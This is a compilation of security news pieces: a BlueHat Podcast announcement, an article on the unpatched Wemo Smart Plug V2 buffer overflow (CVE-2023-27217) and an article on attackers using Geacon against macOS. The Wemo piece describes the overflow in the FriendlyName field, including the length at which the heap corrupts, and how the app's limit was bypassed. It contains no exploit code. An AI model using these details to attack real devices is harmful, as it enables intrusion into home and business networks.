“We define fleeceware as something that charges an extraordinary amount of money for a feature that is available freely or at very low cost elsewhere,” he says. “And it’s effective, because even I sometimes wonder, why am I getting charged this much by Apple every month? And it's like, OK, there’s the shared family storage, there's AppleCare for my phone, there’s Duolingo. You have to be very careful—you have to actively manage subscriptions to apps.”

ChatGPT Scams Are Infiltrating Apple's App Store and Google Play

Available today on all major podcast platforms is The BlueHat Podcast, a new series of security research focused conversations, continuing the themes from the BlueHat 2023 conference (session recordings available to watch here).
Since 2005, BlueHat has been where the security research community, and Microsoft, come together as peers: to debate, discuss, share, challenge, celebrate and learn.

Available today on all major podcast platforms is The BlueHat Podcast, a new series of security research focused conversations, continuing the themes from the BlueHat 2023 conference (session recordings available to watch here).

Since 2005, BlueHat has been where the security research community, and Microsoft, come together as peers: to debate, discuss, share, challenge, celebrate and learn.

And while the BlueHat event only happens once per year, The BlueHat Podcast will bring you the same valuable discussions with researchers and industry leaders, both inside and outside of Microsoft, working to secure the planet’s technology, and create a safer world for all.

To kick off the podcast we’re featuring a selection of speakers, attendees, and community leaders from the BlueHat 2023 conference starting with the one and only David Weston (@dwizzzleMSFT), Vice President, OS Security and Enterprise, who shares his thoughts on the importance of security research and the researcher community with respect to the Windows operating system in all its forms.

Google Project Zero’s James Forshaw (@tiraniddo) joins us in episode two to discuss why and how he creates his own security tools (and why you should too) as well as his journey into the world of security research. And in episode three, Cameron Vincent (@SecretlyHidden1) tells us how he went from full-time bug bounty hunter to Microsoft Security Researcher investigating suspected AuthZ/Authorization issues and presenting on the BlueHat 2023 stage.

Be sure to subscribe to hear upcoming episodes from BlueHat 2023 presenter and Phobos Group Founder and CTO Dan Tentler (@Viss) on how the tools and techniques from 2005 are still relevant today, and Raul Rojas (@ElJefeDSecurIT), Microsoft Principal Security PM on the role of security research within Microsoft’s Office of the CTO.

If you have feedback on the podcast or requests for a topic or person you’d like covered on a future episode, please email us at bluehat@microsoft.com.

So, join me, Nic Fillingham (@nicfill) and my co-host Wendy Zenone (@ZenOneSec), for The BlueHat Podcast wherever you listen to podcasts!

**Listen and Subscribe:**

Apple Podcasts: The BlueHat Podcast on Apple Podcasts

Spotify: The BlueHat Podcast on Spotify

Amazon Music: The BlueHat Podcast on Amazon Music

Google Podcasts: _Coming Soon_

iHeart Radio: The BlueHat Podcast on iHeart

Announcing The BlueHat Podcast: Listen and Subscribe Now!

Cyberattckers can easily exploit a command-injection bug in the popular device, but Belkin has no plans to address the security vulnerability.

The Wemo Mini Smart Plug V2, which allows users to remotely control anything plugged into it via a mobile app, has a security vulnerability that allows cyberattackers to throw the switch on a variety of bad outcomes. Those include remotely turning electronics on and off, and the potential for moving deeper into an internal network, or hop-scotching to additional devices.

Used by consumers and businesses alike, the Smart Plug plugs into an existing outlet, and connects to an internal Wi-Fi network and to the broader Internet using Universal Plug-n-Play (UPNP) ports. Users can then control the device via a mobile app, essentially offering a way to make old-school lamps, fans, and other utility items "smart." The app integrates with Alexa, Google Assistant, and Apple Home Kit, while offering additional features like scheduling for convenience. 

The flaw (CVE-2023-27217) is a buffer-overflow vulnerability that affects model F7C063 of the device and allows remote command injection, according to researchers at Sternum who discovered it. Unfortunately, when they tapped the device maker, Belkin, for a fix, they were told that no firmware update would be forthcoming since the device is end-of-life.

"Meanwhile, it's safe to assume that many of these devices are still deployed in the wild," they explained in an analysis on May 16, citing the 17,000 reviews and the four-star rating the Smart Plug has on Amazon. "The total sales on Amazon alone should be in the hundreds of thousands."

Igal Zeifman, vice president of marketing for Sternum, tells Dark Reading that's a low estimate for the attack surface. "That's us being very conservative," he notes. "We had three in our lab alone when the research started. Those are now unplugged."

    

The Wemo Smart Plug turns regular lamps and such into "smart" devices.

He adds, "If businesses are using this version of the Wemo Plugin inside their network, they should stop or (at the very least) make sure that the Universal Plug-n-Play (UPNP) ports are not exposed to remote access. If that device plays a critical role or is connected to a critical network or asset, you are not in great shape."  

**CVE-2023-27217: What's in a Name?**

The bug exists in the way the firmware handles the naming of the Smart Plug. While "Wemo mini 6E9" is the default name of the device out of the box, users can rename it as they wish using what's designated in the firmware as the "FriendlyName" variable — changing it to "kitchen outlet" for example or similar.

"This option for user input already had our Spidey senses tingling, especially when we saw that changing the name in the app came with some guardrails, \[specifically a 30-character limit\]," Sternum researchers noted. "For us, this immediately raised two questions: 'Says who?' and 'What happens if we manage to make it more than 30 characters?'"

When the mobile app didn't allow them to create a name longer than 30 characters, they decided to connect directly to the device via pyWeMo, an open-source Python module for the discovery and control of WeMo devices. They found that circumventing the app allowed them to get around the guardrail, in order to successfully input a longer name.

"The restriction was only enforced by the app itself and not by the firmware code," they noted. "Input validation like this should not be managed just on the 'surface' level."

Observing how the overstuffed 'FriendlyName' variable was handled by the memory structure, the researchers saw that the metadata of the heap was being corrupted by any name longer than 80 characters. Those corrupted values were then being used in subsequent heap operations, thus leading to short crashes. This resulted in a buffer overflow and the ability to control the resulting memory re-allocation, according to the analysis.

"It's a good wake-up call about the risk of using connected devices without any on-device security, which is 99.9% of devices today," Zeifman says.

**Watch Out for Easy Exploitation**

While Sternum isn't releasing a proof-of-concept exploit or enumerating what a real-world attack flow would look like in practice, Zeifman says the vulnerability isn't difficult to exploit. An attacker would need either network access, or remote Universal Plug-n-Play access if the device is open to the Internet.

"Outside of that, it's a trivial buffer overflow on a device with an executable heap," he explains. "Harder bastions have fallen."

He noted that it's likely that attacks could be carried out via Wemo's cloud infrastructure option as well.

"Wemo products also implement a cloud protocol (basically a STUN tunnel) that was meant to circumvent network address traversal (NAT) and allow the mobile app to operate the outlet through the Internet," Zeifman says. "While we didn't look too deeply into Wemo's cloud protocol, we wouldn't be surprised if this attack could be implemented that way as well."

In the absence of a patch, device users do have some mitigations they can take; for instance, as long as the Smart Plug is not exposed to the Internet, the attacker would have to obtain access to the same network, which makes exploitation more complicated.

Sternum detailed the following common-sense recommendations:

*   Avoid exposing the Wemo Smart Plug V2 UPNP ports to the Internet, either directly or via port forwarding.
*   If you are using the Smart Plug V2 in a sensitive network, you should ensure that it is properly segmented, and that device cannot communicate with other sensitive devices on the same subnet.

**IoT Security Continues to Lag**

As far as broader takeaways from the research, the findings showcase the fact that Internet of Things (IoT) vendors are still struggling with security by design — which organizations should take into account when installing any smart device.

"I think this is the key point of this story: This is what happens when devices are shipped without any on-device protection," Zeifman notes. "If you only rely on responsive security patching, as most device manufacturers do today, two things are certain. One, you will always be one step behind the attacker; and two, one day those patches will stop coming."

IoT devices should be equipped with "the same level of endpoint security that we expect other assets to have, our desktops, laptops, servers, etc.," he says. "If your heart monitor is less secure than the gaming laptop, something has gone horribly wrong – and it has."

Unpatched Wemo Smart Plug Bug Opens Countless Networks to Cyberattacks

Threat actors seen using Go-language implementation of the red-teaming tool on Intel and Apple silicon-based macOS systems.

Heads up: threat actors are now deploying a Go-language implementation of Cobalt Strike called Geacon that first surfaced on GitHub four years ago and had remained largely under the radar.

They are using the red-teaming and attack-simulation tool to target macOS systems in much the same way they have used Cobalt Strike for post-exploit activity on Windows platforms the past few years.

Security researchers at SentinelOne reported the activity this week after spotting several Geacon payloads appearing on VirusTotal in recent months. SentinelOne's analysis of the samples showed some were likely related to legitimate enterprise red-team exercises, while others appeared to be artifacts of malicious activity.

One malicious sample submitted to VirusTotal on April 5 is an AppleScript applet titled "Xu Yiqing's Resume\_20230320.app" that downloads an unsigned Geacon payload from a malicious server with a China-based IP address.

SentinelOne found the application is compiled for macOS systems running on either Apple or Intel silicon. The applet contains logic that helps it determine the architecture of a particular macOS system so it can download the specific Geacon payload for that device. The compiled Geacon binary itself contains an embedded PDF that first displays a resume for an individual named Xu Yiqing before beaconing out to its command and control (C2) server.

"The compiled Geacon binary has a multitude of functions for tasks such as network communications, encryption, decryption, downloading further payloads, and exfiltrating data," SentinelOne said.

In another instance, SentinelOne discovered a Geacon payload embedded in a fake version of the SecureLink enterprise remote-support application. The payload appeared in VirusTotal on April 11 and targeted only Intel-based macOS systems. Unlike the previous Geacon sample, SentinelOne found the second one to be a bare-bones, unsigned application likely built with an automated tool. The app required the user to grant access to the device camera, microphone, administrator privileges, and other settings typically protected under macOS's Transparency, Consent, and Control framework. In this instance, the Geacon payload communicated with a known Cobalt Strike C2 server with an IP address based in Japan.

"This is not the first time we have seen a Trojan masquerading as SecureLink with an embedded open-source attack framework," SentinelOne said. The security vendor pointed to its discovery last September of an open-source attack framework for macOS called Sliver embedded with a fake SecureLink as another example. "\[Its\] a reminder to all that enterprise Macs are now being widely targeted by a variety of threat actors," SentinelOne said.

**Sudden Interest**

Attackers have long used Cobalt Strike for a variety of malicious post-exploit activities on Windows systems including for establishing command-and-control, lateral movement, payload generation, and exploit delivery. There have been instances where attackers have occasionally used Cobalt Strike to target macOS as well. One example is a typosquatting attack last year where a threat actor attempted to deploy Cobalt Strike on Windows, Linux, and macOS systems by uploading a malicious package dubbed "pymafka" to the PyPI register.

In other instances, attackers have also used a macOS focused red-teaming tool called Mythic as part of their attack chains.

The activity involving Geacon itself started shortly after an anonymous Chinese researcher using the handle "z3ratu1" released two Geacon forks last October — one private and likely for sale called "geacon\_pro" and the other public, called geacon-plus. The pro version includes some additional features like anti-virus bypassing and anti-kill capabilities, says Tom Hegel, senior threat researcher at SentinelOne.

He ascribes the sudden attacker interest in Geacon to a blog that z3ratu1 posted describing the two forks and his attempts to market his work. The original Geacon project itself was largely for protocol analysis and reverse engineering purposes, he says.

**Mac Attacks**

The growing malicious use of Geacon fits in with a broader pattern of growing attacker interest in macOS systems.

Earlier this year, researchers at Uptycs reported on a novel new Mac malware sample dubbed "MacStealer" that, in keeping with its name, stole documents, iCloud keychain data, browser cookies, and other data from Apple users. In April, the operators of "Lockbit " became the first major ransomware actor to develop a Mac version of their malware, setting the stage for others to follow. And last year, North Korea's notorious Lazarus Group become among the first known state-backed groups to begin targeting Apple Macs.

SentinelOne has released a set of indicators to help organizations identify malicious Geacon payloads.

Tag

#apple